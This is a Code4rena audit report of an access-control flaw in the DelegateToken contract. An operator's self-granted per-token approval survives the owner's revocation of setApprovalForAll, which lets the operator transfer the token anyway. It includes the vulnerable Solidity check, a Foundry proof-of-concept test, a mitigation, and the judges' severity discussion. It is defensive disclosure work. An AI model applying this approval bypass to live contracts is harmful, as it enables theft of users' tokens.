No way to revoke Approval in DelegateToken.approve leads to un authorized calling of DelegateToken.transferFrom

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-09-delegate/blob/main/src/DelegateToken.sol#L134 https://github.com/code-423n4/2023-09-delegate/blob/main/src/DelegateToken.sol#L168 https://github.com/code-423n4/2023-09-delegate/blob/main/src/libraries/DelegateTokenStorageHelpers.sol#L149

Vulnerability details

Impact

There is no way to revoke the approval which given via DelegateToken.approve(address,delegateTokenId). They can able call the DelegateToken.transferFrom even the tokenHolder revoke the permission using the DelegateToken.setApprovalForAll

if the spender address is approved by the PT token ,we can call the DelegateToken.withdraw.

Proof of Concept

Alice is the token Holder.

Alice approves Bob via DelegateToken.setApprovalForAll(Bob,true).

Bob approves himself using DelegateToken.approve(Bob,delegateTokenId)

Alice revokes the Bob approval by calling DelegateToken.setApprovalForAll(Bob,false);

Now Bob can still calls the DelegateToken.transferFrom(Alice,to,delegateTokenId) which is subjected to call only by approved address.

The transfer will be successful.

Code details :

https://github.com/code-423n4/2023-09-delegate/blob/main/src/libraries/DelegateTokenStorageHelpers.sol#L143

function revertNotApprovedOrOperator(
        mapping(address account => mapping(address operator => bool enabled)) storage accountOperator,
        mapping(uint256 delegateTokenId => uint256[3] info) storage delegateTokenInfo,
        address account,
        uint256 delegateTokenId
    ) internal view {
        if (msg.sender == account || accountOperator[account][msg.sender] || msg.sender == readApproved(delegateTokenInfo, delegateTokenId)) return;
        revert Errors.NotApproved(msg.sender, delegateTokenId);
    }

Even after revoking the approval for operator using setApprovalAll this

msg.sender == readApproved(delegateTokenInfo, delegateTokenId) will be true and able to call transferFrom function.

**Test function :***

function testFuzzingTransfer721(
        address from,
        address to,
        uint256 underlyingTokenId,
        bool expiryTypeRelative,
        uint256 time
    ) public {
        vm.assume(from != address(0));
        vm.assume(from != address(dt));

        (
            ,
            /* ExpiryType */
            uint256 expiry, /* ExpiryValue */

        ) = prepareValidExpiry(expiryTypeRelative, time);
        mockERC721.mint(address(from), 33);

        vm.startPrank(from);
        mockERC721.setApprovalForAll(address(dt), true);

        vm.stopPrank();
        vm.prank(from);
        dt.setApprovalForAll(address(dt), true);
        vm.prank(from);
        uint256 delegateId1 = dt.create(
            DelegateTokenStructs.DelegateInfo(
                from,
                IDelegateRegistry.DelegationType.ERC721,
                from,
                0,
                address(mockERC721),
                33,
                "",
                expiry
            ),
            SALT + 1
        );

        vm.prank(address(dt));
        dt.approve(address(dt), delegateId1);

        vm.prank(from);

        dt.setApprovalForAll(address(dt), false);
        address tmp = dt.getApproved(delegateId1);
        console.log(tmp);
        vm.prank(address(dt));
        dt.transferFrom(from, address(0x320), delegateId1);
    }

Tools Used

Manual Analysis

Recommended Mitigation Steps

If token Holder revokes the approval for a operator using DelegateToken.setApprovalForAll , revoke the all the approvals(DelegateToken.approve) which is done by the operator.

Assessed type

Access Control

[c4-judge]

GalloDaSballo marked the issue as satisfactory

[c4-judge]

GalloDaSballo removed the grade

[c4-sponsor]

0xfoobar (sponsor) confirmed

[0xfoobar]

Need to double-check but looks plausible

[GalloDaSballo]

In contrast to ERC721, which only allows the owner to change approve https://github.com/OpenZeppelin/openzeppelin-contracts/blob/ef3e7771a7e2d9b30234a57f96ee7acf5dddb9ed/contracts/token/ERC721/ERC721.sol#L448-L454

DT.approve allows the operator to set themselves as approved, which can technically be undone via a multicall but may not be performed under normal usage

[c4-judge]

GalloDaSballo changed the severity to 2 (Med Risk)

[GalloDaSballo]

Leaning towards Medium Severity as the finding requires:

• Alice approvesForAll Bob
• Bob approves self
• Alice revokes Bobs approvalForAll
• Alice doesn't revoke the _approve that Bob gave to self

Notice that any transfer would reset the approval as well

[c4-judge]

GalloDaSballo marked the issue as selected for report

[0xfoobar]

A note about how ERC721 works: there are two different types of approvals. approve() lets an account move a single tokenId, while setApprovalForAll() marks an address as an operator to move all tokenIds. We can note the difference in the core OpenZeppelin ERC721 base contract, two separate mappings: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC721/ERC721.sol#L32-L34

So plausible that an operator could be permitted to add new tokenid-specific approvals, but see your point that OZ ERC721 doesn't allow this by default and so could lead to confusing states that are possible but not fun to get out of.